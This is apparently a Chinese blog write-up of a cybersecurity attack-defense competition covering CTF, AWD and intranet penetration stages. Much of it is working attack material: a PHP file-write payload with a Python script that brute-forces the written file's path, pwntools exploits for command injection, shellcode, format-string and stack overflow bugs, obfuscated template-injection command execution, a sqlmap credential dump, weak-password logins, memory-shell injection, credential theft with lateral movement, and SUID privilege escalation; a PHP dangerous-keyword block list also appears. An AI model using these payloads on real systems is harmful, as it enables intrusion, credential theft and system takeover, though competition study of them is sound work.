网络安全 --- 中xx信第四届网络安全攻防赛
我先简述一下流程,考试考3场,第一场是ctf,包含理论和实操,都是常规题目。第二次是awd,分成15个回合,我们攻击多个其他队伍的靶机,其他人也可以攻击我们。主要使用的工具是漏洞审计工具。将每个审计的结果进行修复。第三场是cfs,就是内网渗透,提供多台机器,通过web进入内网内部进行的渗透
第一题:
我们查看源码后发现提交按钮被人去掉了,我们手动添加提交按钮。添加的方式因人而异,我们只需要在input标签添加一个 type=“submit“ ,打开浏览器的右键点击 检查,在 input中右键添加属性,输入type=“submit”,此时浏览器就会发现按钮可以点击了。点击提交后弹出waf页面
提示没有HIKJKMN变量,我们重新用burpsuite发包,在url后面添加HIJKLMN
//计算sha256后截取16位
function generateStringFromTime($timeStr, $length = 16){ // 基于传入的时间字符串 `timeStr` 生成哈希值,然后取其前 `$length` 个字符作为返回结果。 $hash = hash('sha256', $timeStr); // 使用 sha256 算法对时间字符串进行哈希 $result = substr($hash, 0, $length); // 从哈希值中提取前 `length` 个字符 return $result; // 返回生成的子字符串 } ...代码路... sleep(x); // 程序暂停一段时间, x 的值小于 60 秒,具体时间未知 $full_time = date("Y-m-d-H-i-s'); //获取当前完整时间戳 "年-月-日-时-分-秒",这里的时间因为上面的sleep函数导致date对象未知 sleep(x); // 再次暂停, x 的值小于 8 秒,具体时间未知 $time = data('Y-m-d-H-i'); //获取当前时间,精确到分钟 "年-月-日-时-分"。两次 sleep(x) 没有明确的时间,会导致不可预测的暂停时间。 $generatedString = generateStringFromTime($full_time); // 基于完整时间戳生成一个哈希字符串 $filename = '/tmp/'. $generatedString; // 使用生成的哈希字符串作为文件名,在 `/tmp/` 目录下创建文件,文件名是根据哈希生成的,但它依赖于 full_time,即当前的完整时间戳。理论上,攻击者可以通过多次尝试或猜测来生成相同的文件名,进而覆盖已有文件或访问不应访问的文件。
$content = $_POST['HIJKLMN']; // 从 POST 请求中获取用户提交的内容,键为 'HIJKLMN',攻击者可以通过提交恶意内容,如 PHP 代码或脚本,来尝试代码注入攻击。
...代码络...
file_put_contents($filename, $content); // 将用户提交的内容写入到生成的文件中,这里有个文件写入漏洞!!!!
$log_entry = "$time 时间提交了一条内容\n"; // 创建日志条目,记录提交时间到 `time`
file_put_contents('/tmp/time.txt', $log_entry, FILE_APPEND); // 将日志条目追加写入到日志文件 `/tmp/time.txt` 中
echo render_template('submit_success.html', ['time' => $time]); // 返回 `submit_success.html` 模板,传递时间参数 }
同时这个页面指向另一个链接,访问后,右键检查,注释中提示该页面存在文件读取。?file=time.txt
利用思路:通过源码审计,发现源码存在,文件写入,文件包含,文件路径预测,三个漏洞,我们利用文件写入漏洞先写入php一句话木马到文件,在文件路径预测漏洞爆破目录存放位置,使用文件包含漏洞执行php代码读取flag文件。
1.文件写入
使用burp或hackbar写入一句话木马,注意这里有php木马过滤需要绕过,我们使用下面代码绕过
POST /submit.php HTTP/1.1 Host: 10.1.0.122:84 Content-Type: application/x-www-form-urlencoded Content-Length: 52 A=1&B=2&HIJKLMN=<?php var_dump(readfile("/flag"));?>
import hashlib import requests # 导入 requests 库以发送 HTTP 请求 # 定义函数,通过时间字符串生成 SHA-256 哈希 def generate_string_from_time(time_str, length=16): hash_object = hashlib.sha256(time_str.encode()) # 计算 SHA-256 哈希 return hash_object.hexdigest()[:length] # 返回前 length 个字符 str1 = "2024-09-23-09-33-" for i in range(60): i_str = str(i).zfill(2) # 用零填充,确保两位数 combined_str = f"{str1}{i_str}" # 组合时间字符串 sha = generate_string_from_time(combined_str) # 生成时间哈希值 url2 = f"http://10.1.0.122:84/include.php?file=/tmp/{sha}" # 生成请求 URL # 发送请求以检查文件 req = requests.get(url2) # 发送 GET 请求 if "File not found" not in req.text: # 检查文件是否存在 print(url2) # 如果文件存在,打印 URL
sosnake
是一个网页贪吃蛇,右键查看源码,
提示的很明显:jsjiami.cn.v7 加密,这里需要自行搜集尝试 jsjiami.cn.v7 解密
https://www.yuandd.net/255.html
下载后,安装nodejs
在项目下执行命令 npm install
网页保存 index.js放在项目下
解密 npm run decode -- -t sojsonv7 -i index.js -o output.js
解密结果
Game.prototype.over = function () { clearInterval(this.timer); if (this.score >= 60) { alert('恭喜你!你找到了 flag:flag{this_is_flag_welcome_diaoyibb}'); } else { alert('你的得分为:' + this.score + '分'); } // 游戏回到最初始的状态 var snakeWrap = document.getElementById('snakeWrap'); snakeWrap.innerHTML = ''; // 重新初始化蛇和游戏 snake = new Snake(); game = new Game(); // 显示开始按钮 var startBtnWrap = document.querySelector('.startBtn'); startBtnWrap.style.display = 'block'; }
flag is here
f12 后查看网页源代码拿到 flag
奇妙的 base64 算法
得到一串字符串,两次 base64 解密后即可拿到 flag
5G 改变未来
下载附件后解压缩的得到一个图片文件,右键属性打开即可看到 flag
upload
任意文件上传无过滤,上传 php 木马后用 webshell 管理工具链接即可在根目录下看到 flag
<?php if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); include($file); }else{ highlight_file(__FILE__); }
猜测后,直接读取文件
import zipfile # 导入zipfile模块,用于处理ZIP文件 # 打开名为"flag.zip"的压缩文件,'r'表示以读取模式打开 zfile = zipfile.ZipFile("flag.zip", 'r') # 开始三重循环,遍历所有可能的三位ASCII字符组合 for i1 in range(33, 128): # 第一个字符的ASCII值范围为33到127 for i2 in range(33, 128): # 第二个字符的ASCII值范围为33到127 for i3 in range(33, 128): # 第三个字符的ASCII值范围为33到127 # 构造可能的密码,组合已知前缀和后缀及当前字符 mask = ( "security_2024" + chr(i1) + chr(i2) + chr(i3) + # 前缀和三位字符 chr(i3) + chr(i2) + chr(i1) + # 反向重复三位字符 "4202_ytiruces" # 后缀 ) try: # 尝试用构造的密码解压缩文件 zfile.extractall(pwd=mask.encode('utf-8')) # 将密码编码为UTF-8 print("Password found:", mask) # 如果解压成功,打印找到的密码 exit() # 退出程序 except: pass # 如果解压失败,继续尝试下一个密码
#include <stdint.h> #include <string.h> #include <stdio.h> #include <stdlib.h> // 将 32 位无符号整数转换为小端格式的 8 位数组 static _inline void u32t8le(uint32_t v, uint8_t p[4]) { p[0] = v & 0xff; p[1] = (v >> 8) & 0xff; p[2] = (v >> 16) & 0xff; p[3] = (v >> 24) & 0xff; } // 将小端格式的 8 位数组转换为 32 位无符号整数 static _inline uint32_t u8t32le(uint8_t p[4]) { uint32_t value = p[3]; value = (value << 8) | p[2]; value = (value << 8) | p[1]; value = (value << 8) | p[0]; return value; } // 实现 32 位左旋转 static _inline uint32_t rotl32(uint32_t x, int n) { return x << n | (x >> (-n & 31)); } // ChaCha20 核心的 quarter round 操作 static void chacha20_quarterround(uint32_t* x, int a, int b, int c, int d) { x[a] += x[b]; x[d] = rotl32(x[d] ^ x[a], 16); x[c] += x[d]; x[b] = rotl32(x[b] ^ x[c], 12); x[a] += x[b]; x[d] = rotl32(x[d] ^ x[a], 8); x[c] += x[d]; x[b] = rotl32(x[b] ^ x[c], 7); } // 序列化 512 位的 ChaCha20 状态数组 static void chacha20_serialize(uint32_t in[16], uint8_t output[64]) { int i; for (i = 0; i < 16; i++) { u32t8le(in[i], output + (i << 2)); } } // 生成 ChaCha20 块 static void chacha20_block(uint32_t in[16], uint8_t out[64], int num_rounds) { int i; uint32_t x[16]; memcpy(x, in, sizeof(uint32_t) * 16); for (i = num_rounds; i > 0; i -= 2) { chacha20_quarterround(x, 0, 4, 8, 12); chacha20_quarterround(x, 1, 5, 9, 13); chacha20_quarterround(x, 2, 6, 10, 14); chacha20_quarterround(x, 3, 7, 11, 15); chacha20_quarterround(x, 0, 5, 10, 15); chacha20_quarterround(x, 1, 6, 11, 12); chacha20_quarterround(x, 2, 7, 8, 13); chacha20_quarterround(x, 3, 4, 9, 14); } for (i = 0; i < 16; i++) { x[i] += in[i]; } chacha20_serialize(x, out); } // 初始化 ChaCha20 状态矩阵 static void chacha20_init_state(uint32_t s[16], uint8_t key[32], uint32_t counter, uint8_t nonce[12]) { int i; s[0] = 0x61707865; s[1] = 0x3320646e; s[2] = 0x79622d32; s[3] = 0x6b206574; for (i = 0; i < 8; i++) { s[4 + i] = u8t32le(key + (i << 2)); } s[12] = counter; for (i = 0; i < 3; i++) { s[13 + i] = u8t32le(nonce + i * 4); } } // ChaCha20 XOR 加密/解密主函数 void ChaCha20XOR(uint8_t key[32], uint32_t counter, uint8_t nonce[12], uint8_t* in, uint8_t* out, int inlen) { int i, j; uint32_t s[16]; uint8_t block[64]; chacha20_init_state(s, key, counter, nonce); for (i = 0; i < inlen; i += 64) { chacha20_block(s, block, 20); s[12]++; for (j = i; j < i + 64; j++) { if (j >= inlen) { break; } out[j] = in[j] ^ block[j - i]; } } } int main() { uint8_t key[] = { 0x54, 0x68, 0x65, 0x20, 0x65, 0x6E, 0x64, 0x73, 0x20, 0x6F, 0x66, 0x20, 0x74, 0x68, 0x65, 0x20, 0x65, 0x61, 0x72, 0x74, 0x68, 0x20, 0x68, 0x61, 0x76, 0x65, 0x20, 0x70, 0x6F, 0x6F, 0x72, 0x2C, 0x20, 0x6F, 0x6E, 0x6C, 0x79, 0x20, 0x61, 0x63, 0x61, 0x63, 0x69, 0x61, 0x20, 0x65, 0x6E, 0x64, 0x6C, 0x65, 0x73, 0x73, 0x2E, 0x00 }; uint8_t nonce[12] = { 0x4c, 0x65, 0x64, 0x54, 0x6f, 0x42, 0x65, 0x6c, 0x69, 0x65, 0x76, 0x65 }; uint8_t plaint[114] = { 0x25, 0x87, 0xcf, 0xe7, 0xc6, 0xe2, 0x4a, 0xa5, 0xcd, 0xa1, 0x1e, 0x8e, 0x79, 0xcf, 0xf6, 0x63, 0x4b, 0x2f, 0xaf, 0x9c, 0xd2, 0x86, 0x8b, 0x7a, 0x18, 0xd6, 0x10, 0x81, 0x33, 0x19, 0xaa, 0x1b, 0x39, 0xa6, 0x24, 0x6c, 0xac, 0xcd, 0xdc, 0xdd, 0x11, 0x5e, 0xd7, 0xbd, 0xd8, 0xec, 0x3d, 0x7a, 0xe9, 0x33, 0xe4, 0x66, 0x83, 0xcf, 0x5b, 0xf5, 0x18, 0x01, 0x64, 0xa2, 0x79, 0x75, 0x1d, 0x00, 0xcd, 0x2e, 0x1a, 0x37, 0xe2, 0x0b, 0xe6, 0xad, 0x29, 0x47, 0x9c, 0xe4, 0xb7, 0x60, 0x7a, 0xe5, 0x63, 0x63, 0x8b, 0xb9, 0xcf, 0xe0, 0xf0, 0x43, 0x55, 0xb5, 0x66, 0x03, 0x1a, 0x33, 0xbe, 0xae, 0x9f, 0x48, 0xc3, 0xac, 0xc4, 0x9a, 0x80, 0x61, 0x87, 0x5d, 0x81, 0x40, 0xad, 0x56, 0xb7, 0xc5, 0xec, 0xf3 }; uint8_t out[114]; ChaCha20XOR(key, 1, nonce, plaint, out, sizeof(plaint)); printf("%s", out); }
总结以下逆向分析步骤和利用漏洞的方式,并对漏洞的修复方法进行详细解释。根据你提供的分析内容,以下是每个漏洞的详细说明: --- ### 漏洞 1:命令注入 **描述**:在 `ping` 功能中,通过输入恶意 IP 地址绕过字符过滤进行命令注入。 **漏洞利用**: - 通过在 IP 地址中输入 `;sh`,可以在 `ping` 命令之后直接注入并执行 `sh`,从而获得 shell。 **EXP**: ```python from pwn import * p = remote("172.19.1.62", 3004) context(os='linux', arch='i386', log_level='debug') elf = ELF("./pwn1") sla("Enter your choice:", b'1') sl(";sh") # 使用命令注入来获得 shell ita() # 进入交互模式 ``` **修复建议**: - **添加过滤**:严格过滤输入内容,确保只允许合法的 IP 地址字符(例如,数字和 `.`)。 - **使用白名单**:强制限定输入为标准的 IP 格式,以避免命令注入。 --- ### 漏洞 2:后门 shellcode 执行 **描述**:`backdoor` 函数通过输入特定数字(如 `666`)触发后门,接受任意 shellcode 并执行。 **漏洞利用**: - 输入 `666` 后可以向程序提供任意 shellcode,从而执行自定义的恶意代码。 **EXP**: ```python from pwn import * p = remote("172.19.1.62", 3004) context(os='linux', arch='i386', log_level='debug') elf = ELF("./pwn1") sla("Enter your choice:", b'666') sl(asm(shellcraft.sh())) # 发送 shellcode 来启动 shell ita() ``` **修复建议**: - **删除后门代码**:后门功能不属于正常业务逻辑,应当移除。 - **NOP 处理**:如果后门代码不可移除,可以将 `call` 语句和 `666` 分支处理为 NOP,禁用后门功能。 --- ### 漏洞 3:`strncmp` 参数错误 **描述**:`strncmp` 函数比较 `password` 时参数错误,导致输入前几位匹配 `password` 即可通过验证。 **漏洞利用**: - 通过输入 `flag\0`,可绕过完整匹配,仅需匹配前几位即可通过检查。 **EXP**: ```python from pwn import * p = remote("172.19.1.62", 3004) context(os='linux', arch='i386', log_level='debug') elf = ELF("./pwn1") sla("Enter your choice:", b'4') sa("Are you root?", '\x00') # 发送空字符绕过验证 ita() ``` **修复建议**: - **修正比较长度**:将 `strncmp` 中的比较长度改为 `password` 的实际长度(假设固定长度为 `38`)。 - **优化汇编**:减少不必要的 `push` 和 `esp` 操作,为更改后的参数留出空间。 --- ### 漏洞 4:格式化字符串漏洞 **描述**:`fmt` 漏洞使得可以读取 `password`。将 `password` 放入栈中,可以使用 `%s` 格式符查看内容。 **漏洞利用**: - 使用格式化字符串漏洞,构造 payload,例如 `%8$s`,将 `password` 的内容输出。 **EXP**: ```python from pwn import * p = remote("172.19.1.62", 3004) context(os='linux', arch='i386', log_level='debug') elf = ELF("./pwn1") sla("Enter your choice:", b'2') sl(b"AA" + p32(0x804C0A0) + b"%8$s") # 利用 fmt 漏洞泄露 password ita() ``` **修复建议**: - **添加格式化参数**:在调用 `printf` 时添加 `%s`,避免不受控的格式化字符串输入。 - **代码填充**:如果空间不足,可以利用 `eh_frame` 空间填充代码,并设置为可执行权限,以进行安全调用。 --- ### 漏洞 5:栈溢出漏洞 **描述**:`calculate` 功能中使用 `strcat` 拼接输入字符串,但没有限制字符串的最大长度,导致栈溢出。 **漏洞利用**: - 构造超长输入,并利用栈溢出执行 ROP 链。 **EXP**: ```python from pwn import * p = remote("172.19.1.62", 3004) context(os='linux', arch='i386', log_level='debug') elf = ELF("./pwn1") sla("Enter your choice:", b'3') sla("What's your name?", b'a' * 0x16 + p32(elf.plt['system']) + p32(0x11111111) + p32(0x804A1C0)) sl("1000000000") sl("1000000000") ita() ``` **修复建议**: - **缩小缓冲区**:将缓冲区大小减少至足够安全的范围,例如将 `read` 的第三个参数限制为 `18`。 - **限制输入长度**:计算并严格限制可以输入的字符数量,以避免溢出。 --- ### 修复总结 1. **漏洞 1:添加输入过滤**或**白名单**检查。 2. **漏洞 2:删除后门功能**或 NOP 掉相关代码。 3. **漏洞 3:修正 `strncmp` 的参数长度**。 4. **漏洞 4:修复格式化字符串漏洞**,通过强制性格式化参数控制。 5. **漏洞 5:限制缓冲区和输入长度**,避免栈溢出。 这些修复建议有助于有效阻止常见漏洞的利用,并提高系统的整体安全性。
进行 base64 加密后的提示信息
管理后台的路径可能是 http://192.168.2.145/admin506
。
加上 session 验证进行鉴权操作,防止泄露后台地址信息即可修复
array_map("phpinfo", array(1))
相当于调用phpinfo()
函数,因为phpinfo
是array_map
的回调函数名,而数组array(1)
仅用于触发phpinfo()
的执行。phpinfo()
函数会输出当前 PHP 环境的配置信息,包括 PHP 版本、已加载的模块、配置信息等。
{if: ... }{end if}
这种格式可能是应用程序模板的语法,用于在某些条件下执行代码。
执行ls /
{if:array_map("system", array("ls /"))}{end if}
绕过后
base_convert(784,10,36)
转换得到 "ls"
,这是要执行的命令。
(base_convert(19,10,36) ^ base_convert(28,10,36) ^ base_convert(9,10,36))
的结果是 /
,用于指定根目录。
(base_convert(19,10,36) ^ base_convert(28,10,36) ^ base_convert(9,10,36))
的结果是 /
,用于指定根目录。
在执行
function danger_key($s, $type=0) { if ($type == 1) { $s = htmlspecialchars($s); // 转义 HTML 特殊字符,例如 `<`、`>`、`&` 等,防止 XSS 攻击。 $s = preg_replace('/[\\x00-\\x08\\x0B\\x0C\\x0E-\\x1F]/', '', $s); // 移除不可见的控制字符(ASCII 0-31),这些字符可能会被恶意利用进行代码注入。 $s = preg_replace("/&(?!(#[0-9]+|[a-z]+);)/si", '&', $s); // 修正 HTML 实体,例如 `&` 符号后不跟合法的 HTML 实体时,将其替换成 `&` 本身。 $s = str_replace(array("php", "\0", "%00", "\r", "<", ">", "'", '"', "{", "}", "%3"), '', $s); // 删除一些常见的危险字符和字符串,包括 `php`、空字节、`<`、`>`、引号、花括号等,防止注入。 } $str = $s; // 将输入字符串赋值给 `$str`,接下来会检查 `$str` 是否包含危险关键词。 // 定义了一个数组 `$danger`,包含了许多危险关键词 $danger = array( 'preg', 'server', 'chr', 'decode', 'md5', 'post', 'get', 'request', 'file', 'cookie', 'session', 'sql', 'mkdir', 'copy', 'fwrite', 'del', 'encrypt', '$', 'system', 'exec', 'shell', 'open', 'ini_', 'chroot', 'eval', 'passthru', 'include', 'require', 'assert', 'union', 'create', 'func', 'symlink', 'sleep', 'ascii', 'print', 'echo', 'base_', 'replace', '_map', '_dump', '_array', 'regexp', 'select', 'dbpre', 'zzz_', '{if', 'curl', 'certutil' ); // 遍历 `$danger` 数组中的每一个危险关键词 `$val` foreach ($danger as $val) { // `strpos` 检查 `$str` 中是否包含当前的危险关键词 `$val` if (strpos($str, $val) !== false) { // 如果发现危险关键词,则调用 `error()` 函数输出错误信息并阻止继续执行 error('很抱歉,执行出错,系统限制使用【'.$val.'】,请点击返回重新操作,如此问题为误报,请联系管理员'); } } return $s; // 返回过滤后的字符串 }
访问官网,
通过进行测试, 80 端口的页面并无显著的漏洞发现,但该主机开放了 7001 端口,为 weblogic 服务,该 服务存在多个历史漏洞,访问 weblogic页面
进行内存马注入:
哥斯拉连接成功:
msf配置
proxychains rdesktop -g 1440x900 -r disk:LinuxDisk=/root/Downloads -u hacker -p "Admin@123" 172.10.20.20:3389
获取权限之后,上传远控木马, 使用 msf 进行控制。
执行
成功读取到域管理员的明文密码和 NTLM Hash,确认域控位置,进行 smb 横向移动。
访问在线商城,
扫描目录发现 downloads 目录存在目录遍历漏洞,目录下泄漏了敏感文件:
继续进行测试,在积分商城中任意查看一件商品信息存在 sql 注入漏洞
判断这里疑似存在数字型的 sql 注入漏洞,使用 sqlmap 对其进行 sql 注入攻击
sqlmap -u 'http://IP/index.php?ctl=goods_information&id=8' -D 'cms' -T 'fanwe_user' -C 'user_name','user_pwd' --dump --batch
赚不停网站
使用弱口令获取数据库权限:
mysql -h <主机地址> -uroot -proot
url:http://205.30.24.48:8000/
使用 ssh 远程登录邮件服务器

远程连接后,上传 fscan,进行内网信息收集:
从输出结果来看,env
命令似乎具有 SUID 权限,允许低权限用户以 root
身份执行命令。通过 env
结合其他命令,用户可以:
- 列出
/root
目录的内容。 - 读取
/root
目录中的敏感文件(如flag_project.txt
)。
这种情况表明系统中存在一个 SUID 权限配置错误,允许未经授权的用户通过 env
提升权限。
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 10亿数据,如何做迁移?
· 推荐几款开源且免费的 .NET MAUI 组件库
· 清华大学推出第四讲使用 DeepSeek + DeepResearch 让科研像聊天一样简单!
· 易语言 —— 开山篇
· Trae初体验